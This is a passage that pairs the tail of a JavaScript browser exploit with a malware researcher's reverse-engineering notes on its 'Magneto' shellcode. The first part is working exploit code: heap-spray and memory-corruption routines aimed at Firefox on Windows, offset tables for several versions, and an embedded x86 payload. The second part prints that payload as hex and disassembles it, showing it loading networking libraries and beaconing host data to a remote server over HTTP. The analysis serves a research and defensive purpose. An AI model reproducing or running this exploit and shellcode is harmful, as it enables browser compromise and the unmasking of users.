var magneto = ("\ufc60\u8ae8"+"\u0000\u6000"+"\ue589\ud231"+"\u8b64\u3052"+"\u528b\u8b0c"+"\u1452\u728b"+"\u0f28\u4ab7"+"\u3126\u31ff"+"\uacc0\u613c"+"\u027c\u202c"+"\ucfc1\u010d"+"\ue2c7\u52f0"+"\u8b57\u1052"+"\u428b\u013c"+"\u8bd0\u7840"+"\uc085\u4a74"+"\ud001\u8b50"+"\u1848\u588b"+"\u0120\ue3d3"+"\u493c\u348b"+"\u018b\u31d6"+"\u31ff\uacc0"+"\ucfc1\u010d"+"\u38c7\u75e0"+"\u03f4\uf87d"+"\u7d3b\u7524"+"\u58e2\u588b"+"\u0124\u66d3"+"\u0c8b\u8b4b"+"\u1c58\ud301"+"\u048b\u018b"+"\u89d0\u2444"+"\u5b24\u615b"+"\u5a59\uff51"+"\u58e0\u5a5f"+"\u128b\u86eb"+"\u5d05\ubd81"+"\u02e9\u0000"+"\u4547\u2054"+"\u7075\u858d"+"\u02d1\u0000"+"\u6850\u774c"+"\u0726\ud5ff"+"\uc085\u5e74"+"\u858d\u02d8"+"\u0000\u6850"+"\u774c\u0726"+"\ud5ff\uc085"+"\u4c74\u90bb"+"\u0001\u2900"+"\u54dc\u6853"+"\u8029\u006b"+"\ud5ff\udc01"+"\uc085\u3675"+"\u5050\u5050"+"\u5040\u5040"+"\uea68\udf0f"+"\uffe0\u31d5"+"\uf7db\u39d3"+"\u74c3\u891f"+"\u6ac3\u8d10"+"\ue1b5\u0002"+"\u5600\u6853"+"\ua599\u6174"+"\ud5ff\uc085"+"\u1f74\u8dfe"+"\u0089\u0000"+"\ue375\ubd80"+"\u024f\u0000"+"\u7401\ue807"+"\u013b\u0000"+"\u05eb\u4de8"+"\u0001\uff00"+"\ub8e7\u0100"+"\u0000\uc429"+"\ue289\u5052"+"\u6852\u49b6"+"\u01de\ud5ff"+"\u815f\u00c4"+"\u0001\u8500"+"\u0fc0\uf285"+"\u0000\u5700"+"\uf9e8\u0000"+"\u5e00\uca89"+"\ubd8d\u02e9"+"\u0000\uebe8"+"\u0000\u4f00"+"\ufa83\u7c20"+"\uba05\u0020"+"\u0000\ud189"+"\uf356\ub9a4"+"\u000d\u0000"+"\ub58d\u02c4"+"\u0000\ua4f3"+"\ubd89\u024b"+"\u0000\u565e"+"\ua968\u3428"+"\uff80\u85d5"+"\u0fc0\uaa84"+"\u0000\u6600"+"\u488b\u660a"+"\uf983\u0f04"+"\u9c82\u0000"+"\u8d00\u0c40"+"\u008b\u088b"+"\u098b\u00b8"+"\u0001\u5000"+"\ue789\uc429"+"\ue689\u5657"+"\u5151\u4868"+"\ud272\uffb8"+"\u85d5\u81c0"+"\u04c4\u0001"+"\u0f00\u0fb7"+"\uf983\u7206"+"\ub96c\u0006"+"\u0000\u10b8"+"\u0000\u2900"+"\u89c4\u89e7"+"\ud1ca\u50e2"+"\u3152\u8ad2"+"\u8816\u24d0"+"\uc0f0\u04e8"+"\u093c\u0477"+"\u3004\u02eb"+"\u3704\u0788"+"\u8847\u24d0"+"\u3c0f\u7709"+"\u0404\ueb30"+"\u0402\u8837"+"\u4707\ue246"+"\u59d4\ucf29"+"\ufe89\u0158"+"\u8bc4\u4bbd"+"\u0002\uf300"+"\uc6a4\u4f85"+"\u0002\u0100"+"\u2ee8\u0000"+"\u3100\u50c0"+"\u2951\u4fcf"+"\u5357\uc268"+"\u38eb\uff5f"+"\u53d5\u7568"+"\u4d6e\uff61"+"\ue9d5\ufec8"+"\uffff\uc931"+"\ud1f7\uc031"+"\uaef2\ud1f7"+"\uc349\u0000"+"\u0000\u8d00"+"\ue9bd\u0002"+"\ue800\uffe4"+"\uffff\ub94f"+"\u004f\u0000"+"\ub58d\u0275"+"\u0000\ua4f3"+"\ubd8d\u02e9"+"\u0000\ucbe8"+"\uffff\uc3ff"+"\u0a0d\u6f43"+"\u6e6e\u6365"+"\u6974\u6e6f"+"\u203a\u656b"+"\u7065\u612d"+"\u696c\u6576"+"\u0a0d\u6341"+"\u6563\u7470"+"\u203a\u2f2a"+"\u0d2a\u410a"+"\u6363\u7065"+"\u2d74\u6e45"+"\u6f63\u6964"+"\u676e\u203a"+"\u7a67\u7069"+"\u0a0d\u0a0d"+"\u8300\u0ec7"+"\uc931\ud1f7"+"\uc031\uaef3"+"\uff4f\u0de7"+"\u430a\u6f6f"+"\u696b\u3a65"+"\u4920\u3d44"+"\u7377\u5f32"+"\u3233\u4900"+"\u4850\u504c"+"\u5041\u0049"+"\u0002\u5000"+"\ude41\u36ca"+"\u4547\u2054"+"\u302f\u6335"+"\u6165\u6434"+"\u2d65\u3539"+"\u6431\u342d"+"\u3330\u2d37"+"\u6662\u6638"+"\u662d\u3936"+"\u3530\u6235"+"\u3732\u6239"+"\u2062\u5448"+"\u5054\u312f"+"\u312e\u0a0d"+"\u6f48\u7473"+"\u203a\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u9000"+"");
var var29 = magneto;
var var17 = "\u9060";
var var18 = "\u9061";
var var19 = "\uC481\u0000\u0008" ;
var var20 = "\u2589\u3000"+String.fromCharCode((var13 >> 16) & 0x0000FFFF);
var var21="\u258B\u3000"+String.fromCharCode((var13 >> 16) & 0x0000FFFF);
var var22 = "\uE589";
var var23 ="\uC3C9";
var var24 = "\uE889";
var24 += "\u608D\u90C0";
var var25 = var10 + 0x00010000 * var11 + 0x00000030 + 0x00100000;
var var26 = var25 + var16*4
var var27 =""
var27 += "\uB890\u2020\u2020";
var27 += "\uA390"+ae(var26+0x00);
var27 += "\uA390"+ae(var26+0x04);
var27 += "\uA390"+ae(var26+0x08);
var27 += "\uA390"+ae(var26+0x0C);
var var28 = var17;
var28 += var20;
var28 += var19;
var28 += var22;
var28 += var27;
var28 += var29;
var28 += var21;
var28 += var18;
var28 += var23;
var var29Array = new Array();
var29Array=ag(var28);
var var29Ad = var13+0x5010;
var i=0;
var j=0;
var var30=var13+0x4048;
var var31 = new Array();
var31[0]=var30;
var31[1]=var30;
var31[2]=var30;
var31[3]=var15[1];
var31[4]=var29Ad;
var31[5]=0xFFFFFFFF;
var31[6]=var13+0x4044;
var31[7]=var13+0x4040;
var31[8]=0x00000040;
var31[9]=var13+0x4048;
var31[10]=0x00040000;
var31[11]=var29Ad;
var31[12]=var13+0x301C;
for(var i=0 ; i < 0x140 ; i++)
{
var31[i+15]=var15[0];
}
var var32 = 0x3F8;
view[0x800+0+var32]=var13+0x4018;
view[0x800+1+var32]=var13+0x4018;
for(var i=2 ; i < var31.length ; i++)
{
view[0x800+i+var32]= 0x41414141;
}
for(var i=0 ; i < var31.length ; i++)
{
view[0xC02+i+var32]= var31[i];
}
for(var i=0 ; i < var29Array.length ; i++)
{
view[0x1000 + i+var32] = var29Array[i];
}
}
function g(var50,view)
{
var k = h(var50,view);
var j=0;
if( k < 0 )
return -1;
view[0x404+k]=var13+0x3010;
return 1;
}
function h(var50,view)
{
var address=0;
var u=0;
var memory="";
var var55=0;
for( u =7; u >=4 ;u--)
{
address=view[0x404+u];
if( address > 0x000A0000 && address < 0x80000000 )
{
memory = i(address,0x48,var50,view);
var55=af(memory[0x14]+memory[0x15]);
if(var55==address)
{
return u;
}
}
}
return -1;
}
function i(address,size,var50,view)
{
var var56 = size/2;
var56 = var56*0x10 +0x04;
view[0x400]=var56;
view[0x401]=address;
return var4[var50][0];
}
function j(memory,view)
{
var intArray=ag(memory);
for(var i=0 ; i < intArray.length ; i++)
{
view[0x404+i]=intArray[i];
}
}
function k()
{
for(var j=0;j<var1;j++)
{
if(var2[j].byteLength!=var5)
{
return j;
}
}
return -1;
}
function l(view,var58)
{
view[var58] = var13 + 0x1030;
view[var58+1] = 0xFFFFFF85;
}
function m(view,var58)
{
view[var58]=0x00000000;
for(var j=0;j<var1;j++)
{
if(typeof var4[j] !="undefined")
{
if(var4[j][0]!=0x22556611)
return j;
}
}
return -1
}
function n(view,firstvar58)
{
var var57 = var10 + 0x00100000 + 0x00010000 * var11;
var var58=0;
for(var i=0;i<200;i++)
{
if(view[var58] != 0x11336688)
{
if(view[var58] == 0x22556611 )
return var58;
else
return -1;
}
if(var58==0)
{
var58 = firstvar58;
}else{
var var59=view[var58-0x0C];
var58 = (var59 - var57)/4;
}
}
return -1;
}
function o(var60)
{
var view = new Int32Array(var2[var60],0,0x00040400);
var var59 = view[0x00100000/4-0x0C];
var var57 = var10 + 0x00100000 + 0x00010000 * var11;
return ((var59 - var57)/4);
}
function p()
{
for(var j=0;j<var1;j++)
{
for(var i=1;i<16;i++)
{
if(var3[j][i*0x4000-0x02]==0x01000000)
{
return -i;
}
}
}
return 0;
}
function q(var60)
{
var view = new Int32Array(var2[var60],0,0x00040400);
view[0x00100000/4-0x02]=var7;
if(var2[var60+1].byteLength==var7)
return var60+1;
return -1;
}
function r(var60)
{
var view = new Int32Array(var2[var60],0,0x00040400);
view[0x00100000/4-0x02]=var5;
}
function t()
{
if(typeof sessionStorage.tempStor !="undefined")
return false;
sessionStorage.tempStor="";
return true;
}
function u()
{
if( t() == true )
{
var9 = 1;
b();
d();
c();
}else{
return ;
}
}
function v()
{
if(k() == -1)
{
var11 = p();
var9 = 2;
c();
}else{
x();
}
}
function w()
{
if(var9==1)
v();
else
x();
}
function x()
{
var var60 = k();
if(var60==-1)
return ;
var nextvar60 = q(var60);
if(nextvar60==-1)
return ;
var var61 = o(var60);
var var62 = new Int32Array(var2[nextvar60],0,var8);
var var58 = n(var62,var61);
if(var58==-1)
return ;
var var50 = m(var62,var58);
var13 = var10 + 0x00100000 + 0x00010000 * var11;
e(var62);
l(var62,var58);
var var64 = var4[var50][0];
ac(var64,var50,var62,var58,var60);
}
function y(index)
{
var4[index][1]= document.createElement('span') ;
}
function z(index,index2)
{
var4[index][1].innerHTML;
}
function aa(view,var63)
{
return view[var63];
}
function ab(address,view,var63)
{
view[var63]=address;
}
function ac(var64,var50,var62,var58,var60)
{
var var15=ah(var64);
f(var15,var62,var58);
y(var50);
var var66 = aa(var62,var58+2);
var var67 = i(var66,0x40,var50,var62) ;
j(var67,var62);
g(var50,var62);
ab(var13+0x1040 ,var62,var58+2);
r(var60)
setTimeout(ad,1000);
z(var50);
}
function ad()
{
for(var j=0;j<var1;j++)
{
delete var3[j]
var3[j]= null;
delete var2[j];
var2[j] = null;
if(typeof var4[j] !="undefined")
{
delete var4[j];
var4[j] = null;
}
}
delete var2;
delete var3;
delete var4;
var2=null;
var3=null;
var4=null;
}
function ae(int32)
{
var var68 = String.fromCharCode((int32)& 0x0000FFFF);
var var69 = String.fromCharCode((int32 >> 16) & 0x0000FFFF);
return var68+var69;
}
function af(string)
{
var var70 = string.charCodeAt(0);
var var71 = string.charCodeAt(1);
var var72 = (var71 << 16) + var70;
return var72;
}
function ag(string)
{
if(string.length%2!=0)
string+="\u9090";
var intArray= new Array();
for(var i=0 ; i*2 < string.length; i++ )
intArray[i]=af(string[i*2]+string[i*2+1]);
return intArray;
}
function ah(var73)
{
var var74 = var73.substring(0,2);
var var70 = var74.charCodeAt(0);
var var71 = var74.charCodeAt(1);
var var75 = (var71 << 16) + var70;
if (var75 == 0)
{
var var76 = var73.substring(32, 34);
var var70 = var76.charCodeAt(0);
var var71 = var76.charCodeAt(1);
var75 = (var71 << 16) + var70;
}
var var15 = am(var75);
if (var15 == -1)
{
return;
}
return var15
}
function aj(version)
{
var i = navigator.userAgent.indexOf("Windows NT");
if (i != -1)
return true;
return false;
}
function ak()
{
var ua = navigator.userAgent;
var browser = ua.substring(0, ua.lastIndexOf("/"));
browser = browser.substring(browser.lastIndexOf(" ") + 1);
if (browser != "Firefox")
return -1;
var version = ua.substring(ua.lastIndexOf("/") + 1);
version = parseInt(version.substring(0, version.lastIndexOf(".")));
return version;
}
function al()
{
version = ak();
if (!aj(version))
return -1;
return version;
}
function am(var77)
{
var var15 = new Array(2);
if (var77 % 0x10000 == 0xE510)
{
var78 = var77 - 0xE510;
var15[0] = var78 + 0xE8AE;
var15[1] = var78 + 0xD6EE;
}
else if (var77 % 0x10000 == 0x9A90)
{
var78 = var77 - 0x69A90;
var15[0] = var78 + 0x6A063;
var15[1] = var78 + 0x68968;
}
else if (var77 % 0x10000 == 0x5E70)
{
var78 = var77 - 0x65E70;
var15[0] = var78 + 0x66413;
var15[1] = var78 + 0x64D34;
}
else if (var77 % 0x10000 == 0x35F3)
{
var78 = var77 - 0x335F3;
var15[0] = var78 + 0x4DE13;
var15[1] = var78 + 0x49AB8;
}
else if (var77 % 0x10000 == 0x5CA0)
{
var78 = var77 - 0x65CA0;
var15[0] = var78 + 0x66253;
var15[1] = var78 + 0x64B84;
}
else if (var77 % 0x10000 == 0x5CD0)
{
var78 = var77 - 0x65CD0;
var15[0] = var78 + 0x662A3;
var15[1] = var78 + 0x64BA4;
}
else if (var77 % 0x10000 == 0x6190)
{
var78 = var77 - 0x46190;
var15[0] = var78 + 0x467D3;
var15[1] = var78 + 0x45000;
}
else if (var77 % 0x10000 == 0x9CB9)
{
var78 = var77 - 0x29CB9;
var15[0] = var78 + 0x29B83;
var15[1] = var78 + 0xFFC8;
}
else if (var77 % 0x10000 == 0x9CE9)
{
var78 = var77 - 0x29CE9;
var15[0] = var78 + 0x29BB3;
var15[1] = var78 + 0xFFD8;
}
else if (var77 % 0x10000 == 0x70B0)
{
var78 = var77 - 0x470B0;
var15[0] = var78 + 0x47733;
var15[1] = var78 + 0x45F18;
}
else if (var77 % 0x10000 == 0x7090)
{
var78 = var77 - 0x47090;
var15[0] = var78 + 0x476B3;
var15[1] = var78 + 0x45F18;
}
else if (var77 % 0x10000 == 0x9E49)
{
var78 = var77 - 0x29E49;
var15[0] = var78 + 0x29D13;
var15[1] = var78 + 0x10028;
}
else if (var77 % 0x10000 == 0x9E69)
{
var78 = var77 - 0x29E69;
var15[0] = var78 + 0x29D33;
var15[1] = var78 + 0x10018;
}
else if (var77 % 0x10000 == 0x9EB9)
{
var78 = var77 - 0x29EB9;
var15[0] = var78 + 0x29D83;
var15[1] = var78 + 0xFFC8;
}
else
{
return -1;
}
return var15;
}
window.addEventListener("onload", u(),true);
</script>
Raw
gistfile1.txt
# MalwareMustDie!
# Cracking Magneto (FBI Freedom Hosting Payload malware)
# by @unixfreaxjp using r2 (r2 rocks!)
# decode the function f(var15,view,var16) in malware infector Javascript code in http://pastebin.com/RTwsyrH8
# grabbed from evil IFRAMER Javascript in http://pastebin.com/bu2Ya0n6
# (above URL achieved by hard work of MMD DE)
# Analysis method::
# Extract the value check the hex w/parse into script in
# https://www.corelan.be/index.php/2010/02/25/exploit-writing-tutorial-part-9-introduction-to-win32-shellcoding/
# correct result of the bins:
[0x00000226]> !vt check ./magneto.payload.shellcode
-----------------------------------------------------------
VT-shell 1.1 FreeBSD version - by @unixfreaxjp
-----------------------------------------------------------
Sample : ./magneto.payload.shellcode
MD5 : 7655cb3af1869988edf698e0ea665c27
SHA256 : 74414c3397dc0de10fbe0adedb7f033028fe4bb57ac4f51784a6df1a7b0114f0
URL : https://www.virustotal.com/latest-scan/74414c3397dc0de10fbe0adedb7f033028fe4bb57ac4f51784a6df1a7b0114f0
-----------------------------------------------------------
// Bins info:
file magneto.payload.shellcode
fd 10
size 0x3bc
mode r--
block 0x7d0
// hex raw:
60FCE88A0000006089E531D2648B52308B520C8B52148B72280FB74A2631FF31C0AC3C617C022C20C1CF0D01C7E2F
052578B52108B423C01D08B407885C0744A01D0508B48188B582001D3E33C498B348B01D631FF31C0ACC1CF0D01C7
38E075F4037DF83B7D2475E2588B582401D3668B0C4B8B581C01D38B048B01D0894424245B5B61595A51FFE0585F5
A8B12EB86055D81BDE90200004745542075708D85D102000050684C772607FFD585C0745E8D85D802000050684C77
2607FFD585C0744CBB9001000029DC54536829806B00FFD501DC85C07536505050504050405068EA0FDFE0FFD531D
BF7D339C3741F89C36A108DB5E102000056536899A57461FFD585C0741FFE8D8900000075E380BD4F020000017407
E83B010000EB05E84D010000FFE7B80001000029C489E252505268B649DE01FFD55F81C40001000085C00F85F2000
00057E8F90000005E89CA8DBDE9020000E8EB0000004F83FA207C05BA2000000089D156F3A4B90D0000008DB5C402
0000F3A489BD4B0200005E5668A9283480FFD585C00F84AA000000668B480A6683F9040F829C0000008D400C8B008
B088B09B8000100005089E729C489E657565151684872D2B8FFD585C081C4040100000FB70F83F906726CB9060000
00B81000000029C489E789CAD1E2505231D28A1688D024F0C0E8043C0977040430EB02043788074788D0240F3C097
7040430EB02043788074746E2D45929CF89FE5801C48BBD4B020000F3A4C6854F02000001E82E00000031C0505129
CF4F575368C2EB385FFFD55368756E4D61FFD5E9C8FEFFFF31C9F7D131C0F2AEF7D149C300000000008DBDE902000
0E8E4FFFFFF4FB94F0000008DB575020000F3A48DBDE9020000E8CBFFFFFFC30D0A436F6E6E656374696F6E3A206B
6565702D616C6976650D0A4163636570743A202A2F2A0D0A4163636570742D456E636F64696E673A20677A69700D0
A0D0A0083C70E31C9F7D131C0F3AE4FFFE70D0A436F6F6B69653A2049443D7773325F3332004950484C5041504900
0200005041DECA36474554202F30356365613464652D393531642D343033372D626638662D6636393035356232373
9626220485454502F312E310D0A486F73743A20000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000090
# I save it:
-rwxr--r-- mmd mmd 956 Aug 13 05:01 magneto.payload.shellcode*
# view it with the hexbins and you will get some idea:
0000 60 FC E8 8A 00 00 00 60 89 E5 31 D2 64 8B 52 30 `......`..1.d.R0
0010 8B 52 0C 8B 52 14 8B 72 28 0F B7 4A 26 31 FF 31 .R..R..r(..J&1.1
0020 C0 AC 3C 61 7C 02 2C 20 C1 CF 0D 01 C7 E2 F0 52 ..<a|., .......R
0030 57 8B 52 10 8B 42 3C 01 D0 8B 40 78 85 C0 74 4A W.R..B<...@x..tJ
0040 01 D0 50 8B 48 18 8B 58 20 01 D3 E3 3C 49 8B 34 ..P.H..X ...<I.4
0050 8B 01 D6 31 FF 31 C0 AC C1 CF 0D 01 C7 38 E0 75 ...1.1.......8.u
0060 F4 03 7D F8 3B 7D 24 75 E2 58 8B 58 24 01 D3 66 ..}.;}$u.X.X$..f
0070 8B 0C 4B 8B 58 1C 01 D3 8B 04 8B 01 D0 89 44 24 ..K.X.........D$
0080 24 5B 5B 61 59 5A 51 FF E0 58 5F 5A 8B 12 EB 86 $[[aYZQ..X_Z....
0090 05 5D 81 BD E9 02 00 00 47 45 54 20 75 70 8D 85 .]......GET up.. <==="GET"
00A0 D1 02 00 00 50 68 4C 77 26 07 FF D5 85 C0 74 5E ....PhLw&.....t^
00B0 8D 85 D8 02 00 00 50 68 4C 77 26 07 FF D5 85 C0 ......PhLw&.....
00C0 74 4C BB 90 01 00 00 29 DC 54 53 68 29 80 6B 00 tL.....).TSh).k.
00D0 FF D5 01 DC 85 C0 75 36 50 50 50 50 40 50 40 50 ......u6PPPP@P@P
00E0 68 EA 0F DF E0 FF D5 31 DB F7 D3 39 C3 74 1F 89 h......1...9.t..
00F0 C3 6A 10 8D B5 E1 02 00 00 56 53 68 99 A5 74 61 .j.......VSh..ta
0100 FF D5 85 C0 74 1F FE 8D 89 00 00 00 75 E3 80 BD ....t.......u...
0110 4F 02 00 00 01 74 07 E8 3B 01 00 00 EB 05 E8 4D O....t..;......M
0120 01 00 00 FF E7 B8 00 01 00 00 29 C4 89 E2 52 50 ..........)...RP
0130 52 68 B6 49 DE 01 FF D5 5F 81 C4 00 01 00 00 85 Rh.I...._.......
0140 C0 0F 85 F2 00 00 00 57 E8 F9 00 00 00 5E 89 CA .......W.....^..
0150 8D BD E9 02 00 00 E8 EB 00 00 00 4F 83 FA 20 7C ...........O.. |
0160 05 BA 20 00 00 00 89 D1 56 F3 A4 B9 0D 00 00 00 .. .....V.......
0170 8D B5 C4 02 00 00 F3 A4 89 BD 4B 02 00 00 5E 56 ..........K...^V
0180 68 A9 28 34 80 FF D5 85 C0 0F 84 AA 00 00 00 66 h.(4...........f
0190 8B 48 0A 66 83 F9 04 0F 82 9C 00 00 00 8D 40 0C .H.f..........@.
01A0 8B 00 8B 08 8B 09 B8 00 01 00 00 50 89 E7 29 C4 ...........P..).
01B0 89 E6 57 56 51 51 68 48 72 D2 B8 FF D5 85 C0 81 ..WVQQhHr.......
01C0 C4 04 01 00 00 0F B7 0F 83 F9 06 72 6C B9 06 00 ...........rl...
01D0 00 00 B8 10 00 00 00 29 C4 89 E7 89 CA D1 E2 50 .......).......P
01E0 52 31 D2 8A 16 88 D0 24 F0 C0 E8 04 3C 09 77 04 R1.....$....<.w.
01F0 04 30 EB 02 04 37 88 07 47 88 D0 24 0F 3C 09 77 .0...7..G..$.<.w
0200 04 04 30 EB 02 04 37 88 07 47 46 E2 D4 59 29 CF ..0...7..GF..Y).
0210 89 FE 58 01 C4 8B BD 4B 02 00 00 F3 A4 C6 85 4F ..X....K.......O
0220 02 00 00 01 E8 2E 00 00 00 31 C0 50 51 29 CF 4F .........1.PQ).O
0230 57 53 68 C2 EB 38 5F FF D5 53 68 75 6E 4D 61 FF WSh..8_..ShunMa.
0240 D5 E9 C8 FE FF FF 31 C9 F7 D1 31 C0 F2 AE F7 D1 ......1...1.....
0250 49 C3 00 00 00 00 00 8D BD E9 02 00 00 E8 E4 FF I...............
0260 FF FF 4F B9 4F 00 00 00 8D B5 75 02 00 00 F3 A4 ..O.O.....u.....
0270 8D BD E9 02 00 00 E8 CB FF FF FF C3 0D 0A 43 6F ..............Co <=== "HTTP headers"
0280 6E 6E 65 63 74 69 6F 6E 3A 20 6B 65 65 70 2D 61 nnection: keep-a
0290 6C 69 76 65 0D 0A 41 63 63 65 70 74 3A 20 2A 2F live..Accept: */
02A0 2A 0D 0A 41 63 63 65 70 74 2D 45 6E 63 6F 64 69 *..Accept-Encodi
02B0 6E 67 3A 20 67 7A 69 70 0D 0A 0D 0A 00 83 C7 0E ng: gzip........
02C0 31 C9 F7 D1 31 C0 F3 AE 4F FF E7 0D 0A 43 6F 6F 1...1...O....Coo <=== "Cookie...."
02D0 6B 69 65 3A 20 49 44 3D 77 73 32 5F 33 32 00 49 kie: ID=ws2_32.I
02E0 50 48 4C 50 41 50 49 00 02 00 00 50 41 DE CA 36 PHLPAPI....PA..6 <=== "IPHLPAPI.DLL trace...to what call??"
02F0 47 45 54 20 2F 30 35 63 65 61 34 64 65 2D 39 35 GET /05cea4de-95 <=== "Path URL & HTTP/1.1 used.."
0300 31 64 2D 34 30 33 37 2D 62 66 38 66 2D 66 36 39 1d-4037-bf8f-f69
0310 30 35 35 62 32 37 39 62 62 20 48 54 54 50 2F 31 055b279bb HTTP/1
0320 2E 31 0D 0A 48 6F 73 74 3A 20 00 00 00 00 00 00 .1..Host: ...... <=== "to bin encoded Host..."
0330 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0340 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0350 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0360 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0370 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0380 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0390 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
03A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
03B0 00 00 00 00 00 00 00 00 00 00 00 90 ............
# I am using radare to break the opcodes..and manually trailed the flow & translating WinAPI calls.
# below is the positive result, there are some mistery left, like data after http request string, is excluded.
[0x00000000]> b 2000
[0x00000000]> pd
Do you want to print 199415 chars? (y/N)
0x00000000 60 pushad
0x00000001 fc cld
0x00000002 e88a000000 call 0x91
0x00000091(unk)
0x00000007 60 pushad
0x00000008 89e5 mov ebp, esp
0x0000000a 31d2 xor edx, edx
0x0000000c 648b5230 mov edx, [fs:edx+0x30]
0x00000010 8b520c mov edx, [edx+0xc]
0x00000013 8b5214 mov edx, [edx+0x14]
.------> 0x00000016 8b7228 mov esi, [edx+0x28]
| 0x00000019 0fb74a26 movzx ecx, word [edx+0x26]
| 0x0000001d 31ff xor edi, edi
| .--> 0x0000001f 31c0 xor eax, eax
| | 0x00000021 ac lodsb
| | 0x00000022 3c61 cmp al, 0x61
| |,=< 0x00000024 7c02 jl 0x28
| || 0x00000026 2c20 sub al, 0x20
| |`-> 0x00000028 c1cf0d ror edi, 0xd
| | 0x0000002b 01c7 add edi, eax
| `==< 0x0000002d e2f0 loop 0x10000001f
| 0x0000002f 52 push edx
| 0x00000030 57 push edi
| 0x00000031 8b5210 mov edx, [edx+0x10]
| 0x00000034 8b423c mov eax, [edx+0x3c]
| 0x00000037 01d0 add eax, edx
| 0x00000039 8b4078 mov eax, [eax+0x78]
| 0x0000003c 85c0 test eax, eax
| ,===< 0x0000003e 744a jz 0x8a
| | 0x00000040 01d0 add eax, edx
| | 0x00000042 50 push eax
| | 0x00000043 8b4818 mov ecx, [eax+0x18]
| | 0x00000046 8b5820 mov ebx, [eax+0x20]
| | 0x00000049 01d3 add ebx, edx
|.-----> 0x0000004b e33c jecxz 0x89
|| | 0x0000004d 49 dec ecx
|| | 0x0000004e 8b348b mov esi, [ebx+ecx*4]
|| | 0x00000051 01d6 add esi, edx
|| | 0x00000053 31ff xor edi, edi
||.----> 0x00000055 31c0 xor eax, eax
|||| 0x00000057 ac lodsb
|||| 0x00000058 c1cf0d ror edi, 0xd
|||| 0x0000005b 01c7 add edi, eax
|||| 0x0000005d 38e0 cmp al, ah
||`====< 0x0000005f 75f4 jnz 0x100000055
|| | 0x00000061 037df8 add edi, [ebp-0x8]
|| | 0x00000064 3b7d24 cmp edi, [ebp+0x24]
|`=====< 0x00000067 75e2 jnz 0x10000004b
| | 0x00000069 58 pop eax
| | 0x0000006a 8b5824 mov ebx, [eax+0x24]
| | 0x0000006d 01d3 add ebx, edx
| | 0x0000006f 668b0c4b mov cx, [ebx+ecx*2]
| | 0x00000073 8b581c mov ebx, [eax+0x1c]
| | 0x00000076 01d3 add ebx, edx
| | 0x00000078 8b048b mov eax, [ebx+ecx*4]
| | 0x0000007b 01d0 add eax, edx
| | 0x0000007d 89442424 mov [esp+0x24], eax
| | 0x00000081 5b pop ebx
| | 0x00000082 5b pop ebx
| | 0x00000083 61 popad
| | 0x00000084 59 pop ecx
| | 0x00000085 5a pop edx
| | 0x00000086 51 push ecx
| | 0x00000087 ffe0 jmp eax
| | 0x00000089 58 pop eax
| `---> 0x0000008a 5f pop edi
| 0x0000008b 5a pop edx
| 0x0000008c 8b12 mov edx, [edx]
`======< 0x0000008e eb86 jmp 0x100000016
0x00000090 055d81bde9 add eax, 0xe9bd815d
0x00000095 0200 add al, [eax]
0x00000097 004745 add [edi+0x45], al
0x0000009a 54 push esp
0x0000009b 207570 and [ebp+0x70], dh
0x0000009e 8d85d1020000 lea eax, [ebp+0x2d1] ; ASCII "ws2_32"
0x000000a4 50 push eax
0x000000a5 684c772607 push 0x726774c ; 0x0726774c ; "LoadLibraryA@KERNEL32.DLL (Import, Hidden, 1 Params)"
0x000000aa ffd5 call ebp
0x00000000(unk, unk, unk, unk, unk, unk, unk, unk)
0x000000ac 85c0 test eax, eax
,=======< 0x000000ae 745e jz 0x10e
| 0x000000b0 8d85d8020000 lea eax, [ebp+0x2d8] ; ASCII "IPHLPAPI"
| 0x000000b6 50 push eax
| 0x000000b7 684c772607 push 0x726774c ; 0x0726774c ; "LoadLibraryA@KERNEL32.DLL (Import, Hidden, 1 Params)"
| 0x000000bc ffd5 call ebp
| 0x00000000(unk, unk)
| 0x000000be 85c0 test eax, eax
========< 0x000000c0 744c jz 0x10e
| 0x000000c2 bb90010000 mov ebx, 0x190
| 0x000000c7 29dc sub esp, ebx
| 0x000000c9 54 push esp
| 0x000000ca 53 push ebx
| 0x000000cb 6829806b00 push 0x6b8029 ; 0x006b8029 ; "WSAStartupA@WS2_32.DLL"
| 0x000000d0 ffd5 call ebp
| 0x00000000(unk, unk, unk)
| 0x000000d2 01dc add esp, ebx
| 0x000000d4 85c0 test eax, eax
========< 0x000000d6 7536 jnz 0x10e
| 0x000000d8 50 push eax
| 0x000000d9 50 push eax
| 0x000000da 50 push eax
| 0x000000db 50 push eax
| 0x000000dc 40 inc eax
| 0x000000dd 50 push eax
| 0x000000de 40 inc eax
| 0x000000df 50 push eax
| 0x000000e0 68ea0fdfe0 push 0xe0df0fea ; 0xe0df0fea ; "WSASocketA@WS2_32.DLL (Import, Hidden, 6 Params)"
| 0x000000e5 ffd5 call ebp
| 0x00000000(unk, unk, unk, unk, unk, unk, unk)
| 0x000000e7 31db xor ebx, ebx
| 0x000000e9 f7d3 not ebx
| 0x000000eb 39c3 cmp ebx, eax
========< 0x000000ed 741f jz 0x10e
| 0x000000ef 89c3 mov ebx, eax
--------> 0x000000f1 6a10 push 0x10 ; 0x00000010 ; the length, why it has to be this specific??
